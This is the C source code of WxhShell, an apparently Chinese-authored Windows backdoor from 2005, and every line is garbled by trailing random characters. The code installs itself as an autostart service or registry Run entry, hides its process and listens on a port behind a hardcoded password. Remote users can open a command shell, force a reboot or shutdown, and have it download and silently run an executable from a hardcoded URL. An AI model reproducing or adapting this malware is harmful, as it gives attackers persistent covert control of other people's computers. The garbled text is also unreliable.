    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2XFU1 AW  
    if(Boot(SHUTDOWN)) v(B<Nb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +BVym~*^  
    else { hAYTj0GZ  
    closesocket(wsh); Rn`x7(WA  
    ExitThread(0); b$ve sJ  
    } kbTm^y"  
    break; f,V<;s  
    } *)ardZV${  
  // 获取shell 1crnm J!C  
  case 's': { 8oUpQcim  
    CmdShell(wsh); .y_/Uwu  
    closesocket(wsh); hd>aZ"nm1  
    ExitThread(0); Q1O}ly}JS  
    break; (qqOjz   
  } 9N9 L}k b  
  // 退出 8YZbP5'  
  case 'x': { ??PC k1X  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); C\/xl#e<@  
    CloseIt(wsh); Ss~;m']68  
    break; "x=f=;  
    } Bt> }rYz1  
  // 离开 LJk@Vy <?  
  case 'q': { S4^vpY DeN  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4wID]bKM  
    closesocket(wsh); 7ePqmB<.  
    WSACleanup(); =+U `-J} g  
    exit(1); b4E:Wn9x  
    break; LXbP 2  
        } jUSmq m'  
  } Y( 3Bp\6  
  } 9cf:pXMi  
@!`Xl*l  
  // 提示信息 #9X70|f  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ppZDGpp  
} ny`#%Vs  
  } Pa~)"u 8  
=at@Vp/y  
  return; gW-V=LV (  
} rW+ =,L  
lrv3fPIW  
// shell模块句柄 kKAP"'v  
int CmdShell(SOCKET sock)  .Nw=[  
{ W7U2MqQ  
STARTUPINFO si; |2abmuR0  
ZeroMemory(&si,sizeof(si)); ?,& tNP{jq  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; w *oeK  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; '7+4`E  
PROCESS_INFORMATION ProcessInfo; cIav&Zko  
char cmdline[]="cmd"; $u9K+>.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,wIONDnLZ  
  return 0; Pb?$t  
} i(iXD  
G*-b}f  
// 自身启动模式  OU8Lldt  
int StartFromService(void) rd9e \%A  
{ v#.r.{t  
typedef struct Qk,I^1w?7  
{ cUvz2TK  
  DWORD ExitStatus; G5C I<KRK#  
  DWORD PebBaseAddress; <$X3Hye  
  DWORD AffinityMask; ](&{:>RNJ  
  DWORD BasePriority; ynE)Xdh  
  ULONG UniqueProcessId; m^b Nuo  
  ULONG InheritedFromUniqueProcessId; M+w=O!dq  
}   PROCESS_BASIC_INFORMATION; zxC#0@qX07  
mT.u0KUIy  
PROCNTQSIP NtQueryInformationProcess; |NpP2|4h  
MBqt&_?K  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~zJ?H<>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _i20|v   
&o,<ijJ:^m  
  HANDLE             hProcess; #MRMNL@   
  PROCESS_BASIC_INFORMATION pbi; {&\jW!&n  
4iKgg[)7`=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); X{\F;Cb*  
  if(NULL == hInst ) return 0; `NgAT 3zq  
b/C`J p  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ><gG8MH0'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); pKit~A,Q  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); S/4^ d &Gr  
QWzB6H]  
  if (!NtQueryInformationProcess) return 0; g K[YQXfTy  
@te!Jgu{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .=X}cJ]`[  
  if(!hProcess) return 0; /f|X(docI  
A'jP7 P  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; { S3ZeN,kZ  
0@H|n^Md#  
  CloseHandle(hProcess); 8]M_z:F7F  
f] J M /  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >rJnayLF  
if(hProcess==NULL) return 0; v?& -xH-S  
6P5Ih  
HMODULE hMod; ENGg ~D  
char procName[255]; V>A .iim  
unsigned long cbNeeded; pXJpK@z  
SRrw0&ts  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;uw Ryd  
iy14mh\ ~  
  CloseHandle(hProcess); ?i06f,-  
`eIenA  
if(strstr(procName,"services")) return 1; // 以服务启动 rmE"rf  
@> E2?CV  
  return 0; // 注册表启动 2ioQb`=  
} \Dd-Xn_b  
{ T-'t/0e(  
// 主模块 mxz-4.  
int StartWxhshell(LPSTR lpCmdLine) D (h18  
{ HmiJ~C_v`:  
  SOCKET wsl; jC7&s$>Q"g  
BOOL val=TRUE; Lz:(6`S  
  int port=0; ~Uxsn@nLr  
  struct sockaddr_in door; uoXAQ6k  
L7V G`h;  
  if(wscfg.ws_autoins) Install(); \>7^f 3m  
O }(VlR2  
port=atoi(lpCmdLine); .8y3O]  
F@<CsgKB-  
if(port<=0) port=wscfg.ws_port; ad:&$  
49w=XJ  
  WSADATA data; Ee3hG2d`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; op6CA"w  
1. rj'  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   L (khAmm  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); A@sZ14+f  
  door.sin_family = AF_INET; Z| V`B `  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); EpFQ|.mQ  
  door.sin_port = htons(port); OujCb^Rm  
4*'pl.rb>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { sfOHarww  
closesocket(wsl); C@bm  
return 1; e(I =^#u6  
} US%^#D q  
DBCK2PlJ  
  if(listen(wsl,2) == INVALID_SOCKET) { 3Ei5pX=g  
closesocket(wsl); %"af748!+D  
return 1; I;Bjfv5  
} @ )-$kk*  
  Wxhshell(wsl); JM\m)RH0  
  WSACleanup(); |'{zri|A"  
hYM@?/(q  
return 0; 2c:#O%d(  
vsr[ur[eP  
} a(v>Q*zNP  
,iv|Pq $!  
// 以NT服务方式启动 K"[AxB'F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %LZ({\5K#f  
{ Vw&HVo  
DWORD   status = 0; * C6a?]  
  DWORD   specificError = 0xfffffff; h?FmBK'BAd  
d R]Q$CJ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; K a(J52  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; t6A:Z mG_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; OKvPL=~  
  serviceStatus.dwWin32ExitCode     = 0; Iz{R}#8CZ  
  serviceStatus.dwServiceSpecificExitCode = 0; !\,kZ|#>  
  serviceStatus.dwCheckPoint       = 0; zKsz*xv6b  
  serviceStatus.dwWaitHint       = 0; }Iz7l{al   
MiRdX#+Y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); l $jxLZ  
  if (hServiceStatusHandle==0) return; ?&^?-S% p  
bgK<pi)d  
status = GetLastError(); YNBHBK4;  
  if (status!=NO_ERROR) !E-Pa5s  
{ 3^Q]j^e4Ny  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^+1#[E  
    serviceStatus.dwCheckPoint       = 0; Q26qNn bK  
    serviceStatus.dwWaitHint       = 0; LT,?$I  
    serviceStatus.dwWin32ExitCode     = status; F1Hh7 F  
    serviceStatus.dwServiceSpecificExitCode = specificError; vUnRi=:|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !QT'L,_  
    return; 2"d!(J6}K  
  } u]ZqOJXxu  
KV*xApb9y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; }irn'`I  
  serviceStatus.dwCheckPoint       = 0; bC3 F  
  serviceStatus.dwWaitHint       = 0; 4ON_$FUe  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _%x4ty  
} i]#+1Hf  
X2xuwA  
// 处理NT服务事件,比如:启动、停止 iK IOh('G  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1 `7<2w  
{ E3*\ ^Q_  
switch(fdwControl) ,~);EC=`  
{ XJ0oS32_wK  
case SERVICE_CONTROL_STOP: -dO'~all  
  serviceStatus.dwWin32ExitCode = 0; =SAU4xjo  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 80$fG8  
  serviceStatus.dwCheckPoint   = 0; V`-vR2(  
  serviceStatus.dwWaitHint     = 0; n?:=  
  { 3J=Y9 }  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dna6QV>A  
  } 7 uarh!  
  return; n 8pt\i0  
case SERVICE_CONTROL_PAUSE: _6Eu2|vM&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7'-j%!#w  
  break; " sgjWo6  
case SERVICE_CONTROL_CONTINUE: P/ oXDI8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;=< ^0hxer  
  break; )C.yF)Ql  
case SERVICE_CONTROL_INTERROGATE: l6u&5[C  
  break; .Xdj(_&  
}; WpLZQ6wH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [,aqQ6S  
} 1[*{(e  
tyDY'W\]  
// 标准应用程序主函数 yt+}K)Hz  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Ji;mHFZ*FU  
{ 0gn@h/F2%  
/V?H4z[G  
// 获取操作系统版本 {gKN d*[*  
OsIsNt=GetOsVer(); ]}UgS+g>$  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5`<eKwls  
Sc]P<F7N]  
  // 从命令行安装 9%IlW  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~=Ncp9ej#  
cMzkL%  
  // 下载执行文件 <g9"Cr`  
if(wscfg.ws_downexe) { d3]hyTqbtm  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]/T -t1D  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1 11D3  
} MbXq`%  
fRm}S>Nibb  
if(!OsIsNt) { (H?ZSeWx  
// 如果时win9x,隐藏进程并且设置为注册表启动 F pt-V  
HideProc(); [k]|Qi nk  
StartWxhshell(lpCmdLine); $cVi;2$p  
} A.Bk/N1G  
else  0v^:  
  if(StartFromService()) &D#+6M&LK{  
  // 以服务方式启动 :o"8MZp  
  StartServiceCtrlDispatcher(DispatchTable); yW.COWL=)  
else _N3}gFh>  
  // 普通方式启动 k:#6^!b1  
  StartWxhshell(lpCmdLine); #\bP7a +  
:[M[(  
return 0; |)W!jC&k  
} W>spz~w%j  
$gp!w8h  
:G)<}j"sM  
8 3.E0@$  
=========================================== `eRLc}aP2  
g$j6n{Yl  
qvt-  
/f1'm@8;  
*rqm8z50a  
R#4 ^s  
" FoPginZ]J  
30FykNh  
#include <stdio.h> l9{#sas  
#include <string.h> |ia@,*KD  
#include <windows.h> JatHSW7j9  
#include <winsock2.h> =:h3w#_c  
#include <winsvc.h> oTOfK}  
#include <urlmon.h> ${U6=  
.#^0pv!  
#pragma comment (lib, "Ws2_32.lib") OoP@-D"e  
#pragma comment (lib, "urlmon.lib") Fc0jQ@4=  
R9. HD?H@  
#define MAX_USER   100 // 最大客户端连接数 LCQkgRs}~{  
#define BUF_SOCK   200 // sock buffer F>:%Cyo0!  
#define KEY_BUFF   255 // 输入 buffer J(d2:V{h  
E!aq?`-'!  
#define REBOOT     0   // 重启 W._G0b4}  
#define SHUTDOWN   1   // 关机 Vdvx"s[`m  
FU@uH U5fd  
#define DEF_PORT   5000 // 监听端口 -[.PH M6+?  
sT<{SmBF  
#define REG_LEN     16   // 注册表键长度 E_[ONm=,  
#define SVC_LEN     80   // NT服务名长度 R @r{  
g'G8 3F  
// 从dll定义API 3kLOoL?  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); X Usy.l/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4/L>&%8V  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .]Ybp2`"U  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !C7<sZ`C  
-,>:DUN2  
// wxhshell配置信息 jA2ofC  
struct WSCFG { v7@H\x*  
  int ws_port;         // 监听端口 Qp&?L"U)2  
  char ws_passstr[REG_LEN]; // 口令 !b%,'fy)  
  int ws_autoins;       // 安装标记, 1=yes 0=no WzG07 2w  
  char ws_regname[REG_LEN]; // 注册表键名 *4#on>  
  char ws_svcname[REG_LEN]; // 服务名 (G5T%[/U  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 v_-ls"l  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >5i?JUZ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +-HE '4mo  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Cnur"?w@o  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" hCLk#_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 TczXHT}G  
GUCM4jVT^  
}; d]k='  
zXgkcq)  
// default Wxhshell configuration #D:RhqjK  
struct WSCFG wscfg={DEF_PORT, |!re8|JV_  
    "xuhuanlingzhe", \|!gPc%s  
    1, S 1ibw\'  
    "Wxhshell", ,iOZ |  
    "Wxhshell", $Z7:#cZ Y  
            "WxhShell Service", |B1Af  
    "Wrsky Windows CmdShell Service", !?r/ 4  
    "Please Input Your Password: ", 3ExVZu$  
  1, ocP*\NR  
  "http://www.wrsky.com/wxhshell.exe", t/LgHb:)  
  "Wxhshell.exe" 7sN0`7  
    }; c+;S<g 0  
+GPd   
// 消息定义模块 0(vdkC4\A  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )GCLK<,swu  
char *msg_ws_prompt="\n\r? for help\n\r#>"; vUfO4yfdg  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ! ZA}b[  
char *msg_ws_ext="\n\rExit."; ^HoJ.oC/  
char *msg_ws_end="\n\rQuit."; lDU#7\5.  
char *msg_ws_boot="\n\rReboot..."; 3It8&x:  
char *msg_ws_poff="\n\rShutdown..."; %f#\i#G<k  
char *msg_ws_down="\n\rSave to "; MZiF];OY  
4`G=q^GL,  
char *msg_ws_err="\n\rErr!"; /^ QFqM;  
char *msg_ws_ok="\n\rOK!"; T=yCN#cqQ`  
i\Q":4  
char ExeFile[MAX_PATH]; PE7t_iSV  
int nUser = 0; >!G5]?taa  
HANDLE handles[MAX_USER]; E$&;]a  
int OsIsNt; W#Cq6N  
kpY%&  
SERVICE_STATUS       serviceStatus; ^B6`e^ <  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; jM;d>Gymx  
fcn_<Yh0W  
// 函数声明 SOYDp;j  
int Install(void); y (ldO;.  
int Uninstall(void); tpd|y|  
int DownloadFile(char *sURL, SOCKET wsh); ]d~MEa9Y|  
int Boot(int flag); b`?M9f5  
void HideProc(void); ILIRI[7 (  
int GetOsVer(void); ;q^,[(8  
int Wxhshell(SOCKET wsl); _BCT.ual  
void TalkWithClient(void *cs); OT"lP(,  
int CmdShell(SOCKET sock); n_ OUWvs  
int StartFromService(void); ;p.j  
int StartWxhshell(LPSTR lpCmdLine); %0Vc\M@"G  
!zl/0o  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $&NbLjeS  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7~ILRj5Nq  
]#+5)[N$>  
// 数据结构和表定义 6p e4Ni7I2  
SERVICE_TABLE_ENTRY DispatchTable[] = MQhYJ01i  
{ WoJ]@Me8  
{wscfg.ws_svcname, NTServiceMain}, I  *1#  
{NULL, NULL} &AN%QhI  
}; PwRNBb}6  
M~#5/eRX  
// 自我安装 x%ZiE5#  
int Install(void) `~sf}S :  
{ KF*B  
  char svExeFile[MAX_PATH]; ]IL3$eR  
  HKEY key; "P9wT)J_  
  strcpy(svExeFile,ExeFile); xU:PhhS  
fdvi}SS8  
// 如果是win9x系统,修改注册表设为自启动 X6n|Xq3k  
if(!OsIsNt) { H74NU_   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1Q3%!~<\s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T9,lblU Q  
  RegCloseKey(key); b 49|4   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -{.h\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7ZrJ#n8?ih  
  RegCloseKey(key); h%4 ~0  
  return 0; u_$6LEp-  
    } H 7 o$O  
  } &L2`L)  
} 2-/YYe;C  
else { 0^_)OsFA  
w4 >:uyE  
// 如果是NT以上系统,安装为系统服务 uBV^nUjS"m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); KX&Od@cQ$  
if (schSCManager!=0) )i?{;%^  
{ C&qDvvk  
  SC_HANDLE schService = CreateService gqKC4'G0  
  ( 1mkQ"E4  
  schSCManager, ;L MEU_  
  wscfg.ws_svcname, "dFdOb"O-  
  wscfg.ws_svcdisp, =t <:zLe  
  SERVICE_ALL_ACCESS, n$A(6]z5O  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , b3jU~L$  
  SERVICE_AUTO_START, ZnxOa  
  SERVICE_ERROR_NORMAL, [ 7CH(o1a&  
  svExeFile, Bil;@,Z#  
  NULL, t~udfOvY  
  NULL, =iPd@f"$  
  NULL, /61ag9pN  
  NULL, UwzE'#Q-  
  NULL 'R-JQ E-]  
  ); ACMpm~C8Gu  
  if (schService!=0) g@N=N  
  { mw%[qeL V  
  CloseServiceHandle(schService); ~gcst;  
  CloseServiceHandle(schSCManager); Qg86XU%l  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }*{\)7g  
  strcat(svExeFile,wscfg.ws_svcname); UeC%Wa<[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { P+D|_3j  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); C'xU=OnA8  
  RegCloseKey(key); Mf,Mcvs  
  return 0; h1D~AgZOVj  
    } *]DJAF]  
  } XJV3oj   
  CloseServiceHandle(schSCManager); (D +{0 /  
} "m\UqQGX  
} 5O4&BxQ~}  
-;DE&~p  
return 1; 8Y;zs7Y  
} 2TevdyI  
2*UE&Gp  
// 自我卸载 %i JU)N!  
int Uninstall(void) U+3PqWB  
{ jd*%.FDi{  
  HKEY key; n?ZH2dI \0  
9  lazo  
if(!OsIsNt) { 1V?Sj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SS<+fWXE  
  RegDeleteValue(key,wscfg.ws_regname); yz&q2  
  RegCloseKey(key); hU)f(L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {D_4~heF  
  RegDeleteValue(key,wscfg.ws_regname); MjF.>4  
  RegCloseKey(key); lCs8`bYU  
  return 0; ~Hs]}Xo  
  } w[$Wpae  
} ![."xHVeL  
} ]FnrbQ|  
else { 7 +W?Qo  
h"Yqm"U/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }C2i#;b  
if (schSCManager!=0) ne%OTr 4dD  
{ >c'_xa?^G  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \~1zAiSd>#  
  if (schService!=0) K Lv  
  { N<i Vs  
  if(DeleteService(schService)!=0) { VRN9yn2  
  CloseServiceHandle(schService); /dP8F  
  CloseServiceHandle(schSCManager); |LGNoP}SA  
  return 0; zR/p}Wu|!  
  } 4~D>oNx4  
  CloseServiceHandle(schService); %A[p!U  
  } jU9zCMyNF  
  CloseServiceHandle(schSCManager); }_D5, k  
} oG_'<5Bv>  
} E*b[.vUp  
d/99!+r  
return 1; ;[\2/$-  
} Gw\HL  
r.G/f{=<@  
// 从指定url下载文件 KD3To%  
int DownloadFile(char *sURL, SOCKET wsh) :?XHZ  
{ 0tL/:zID  
  HRESULT hr; b2@x(5#  
char seps[]= "/"; q,>F#A '  
char *token;  WD do{  
char *file; z# ?w/NE  
char myURL[MAX_PATH]; y Q @=\'  
char myFILE[MAX_PATH]; EqDYQ 7  
u9^;~i,  
strcpy(myURL,sURL); i3WmD@  
  token=strtok(myURL,seps); u2\qg;dP  
  while(token!=NULL) g~sNY|%  
  { - 5Wt9  
    file=token; nR'EuI~(}  
  token=strtok(NULL,seps); =gv/9ce)3  
  } r[4F?W  
%v)'`|i  
GetCurrentDirectory(MAX_PATH,myFILE); [(UqPd$  
strcat(myFILE, "\\"); 3a[(GW _  
strcat(myFILE, file); ={0{X9t?'j  
  send(wsh,myFILE,strlen(myFILE),0); >2{HH\  
send(wsh,"...",3,0); iiDkk  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); E4@fP] R+  
  if(hr==S_OK) `hf9rjy4  
return 0; \ ozy_s[  
else ;= @-j@?  
return 1; M !XFb  
10a*7 L  
} @Lv_\^2/}  
'\YhRU  
// 系统电源模块 Sqt"G6<  
int Boot(int flag) R[-:-8  
{  M!DoR6  
  HANDLE hToken; !VTS $nJ4  
  TOKEN_PRIVILEGES tkp; uvM8 8#  
>A "aOV>K  
  if(OsIsNt) { &-Y:4.BXZ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); hQx e0Pdt  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); b!P;xLcb  
    tkp.PrivilegeCount = 1; I}A#*iD  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; C:EoUu  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ?qW|k6{O  
if(flag==REBOOT) { g%P4$|C9 i  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @Odu.F1e  
  return 0; W >IKy#  
} Ri0+nJ6  
else { M_)T=s *  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) LMzYsXG*[  
  return 0;  #7"5Y_0-  
} oh~Dbu=%  
  } XArLL5_L  
  else { 1vd+p!n  
if(flag==REBOOT) { PelV67?M  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) qz2d'OhmtH  
  return 0; }`]^LFU5  
} .lS6KBf@  
else { 4f-C]N=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #Og_q$})f  
  return 0; e]fC!>w(\  
} 1'B?f# s  
} 4"=pcHNV  
$MGd>3%y  
return 1; Vi-@z;k  
} w$HC!  
~epkRO="  
// win9x进程隐藏模块 <#` L&w.  
void HideProc(void) Bqj *{m  
{ r?7 ^@  
(U<wKk"  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); jqmP^ZS  
  if ( hKernel != NULL ) "0mR*{nF  
  { }c:0cl  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8t; nU;E*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9r}} m0  
    FreeLibrary(hKernel); CeemR>\t  
  } ~8E rl3=5{  
VgL<uxq  
return; r]{:{Z  
} =!aV?kNS8  
SOJHw6  
// 获取操作系统版本 Ado>)c"*y1  
int GetOsVer(void) wDzS<mm  
{ 3]A'C&  
  OSVERSIONINFO winfo; :-n4! z"k  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Fx2&ji6u  
  GetVersionEx(&winfo); 7IR n  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7="V7  
  return 1; #4?3OU#  
  else 0jMrL\>C  
  return 0; QBg'VV  
} aQuENsB  
57rP@,vj  
// 客户端句柄模块 n$9!G  
int Wxhshell(SOCKET wsl) ~-x\E#(  
{ j\<S6%p#R  
  SOCKET wsh; f}A^rWO  
  struct sockaddr_in client; I;LqyzM  
  DWORD myID; 7P]pk=mo  
W%x#ps5%  
  while(nUser<MAX_USER) mJHX  
{ [ q}WS5Cp  
  int nSize=sizeof(client); oz--gA:g  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); pw8'+FX  
  if(wsh==INVALID_SOCKET) return 1; D!CGbP(  
G1BVI:A&S  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Q{l;8MCL  
if(handles[nUser]==0) a&JAF?k  
  closesocket(wsh); gKnAw+u\  
else gxiJ`. D=  
  nUser++; HukHZ;5  
  } f/xBR"'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /TdTo@  
qH$p]+Rk 5  
  return 0; 1E(pJu'K  
} +!rK4[W'  
*Z(qk`e.b  
// 关闭 socket NGxuwHIQ8  
void CloseIt(SOCKET wsh) BFY~::<b  
{ x!J L9  
closesocket(wsh); &,+ZN A`P  
nUser--; )+J?(&6  
ExitThread(0); | e+m!G1G  
} 15B$Sp!/`e  
ZD*>i=S  
// 客户端请求句柄 g`6S*&8I  
void TalkWithClient(void *cs) Gl+}]Vn[n  
{ E yuc~[  
@-wAR=k7  
  SOCKET wsh=(SOCKET)cs; NEvt71k  
  char pwd[SVC_LEN]; z&eJ?wb  
  char cmd[KEY_BUFF]; m1TPy-|1  
char chr[1]; Z`[j;=[  
int i,j; 7}xKiHh:  
E3'6lv'  
  while (nUser < MAX_USER) { ls=<c<  
jRGG5w}  
if(wscfg.ws_passstr) { k,H4<")H  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E:7vm@+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i^=an?}/  
  //ZeroMemory(pwd,KEY_BUFF); BD#4=u  
      i=0; #ws6z`mt  
  while(i<SVC_LEN) { REa%kU  
79&Mc,69  
  // 设置超时 YO=;)RA  
  fd_set FdRead; \]^|IViIQ  
  struct timeval TimeOut; ,y^By_1wS  
  FD_ZERO(&FdRead); ,5q^/h  
  FD_SET(wsh,&FdRead); t ;[Me0  
  TimeOut.tv_sec=8; t.m $|M>  
  TimeOut.tv_usec=0; ivt\| >  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); bw@tA7Y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?Hy++  
^s%Qt  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s4w<X}O_  
  pwd=chr[0]; SN+&'?$WD  
  if(chr[0]==0xd || chr[0]==0xa) { 9[:nW p^  
  pwd=0; Odagaca  
  break; J9 /w_,,R$  
  } NvYgRf}uh  
  i++; ,TL~];J'  
    } }(gXlF  
UF}fmDi  
  // 如果是非法用户,关闭 socket WS;3a}u  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8z@A/$T  
} ,2u]rLxx;  
y:1?~R  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); qoOHWh&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VGTo$RH  
bBjVot  
while(1) { |GIT{_JE  
+1e*>jE  
  ZeroMemory(cmd,KEY_BUFF); 7m8L!t9  
Xa-]+_?Q  
      // 自动支持客户端 telnet标准   u6I# D _  
  j=0; m^p Q55,   
  while(j<KEY_BUFF) { fz<Y9h=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _oR6^#5#  
  cmd[j]=chr[0]; Oi7|R7NE  
  if(chr[0]==0xa || chr[0]==0xd) { <{e0 i  
  cmd[j]=0; %R(j|a9z  
  break; | YvO$4=s  
  } Yh"R#  
  j++; S7-?&[oeJ  
    } hd+JKh!u  
0(teplo&P  
  // 下载文件 I_v]^>Xw  
  if(strstr(cmd,"http://")) { 0\u_ \%[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |U12 fuQ  
  if(DownloadFile(cmd,wsh)) x%LWcT/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (Iu5QLE  
  else =$f xK  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O>H4hp  
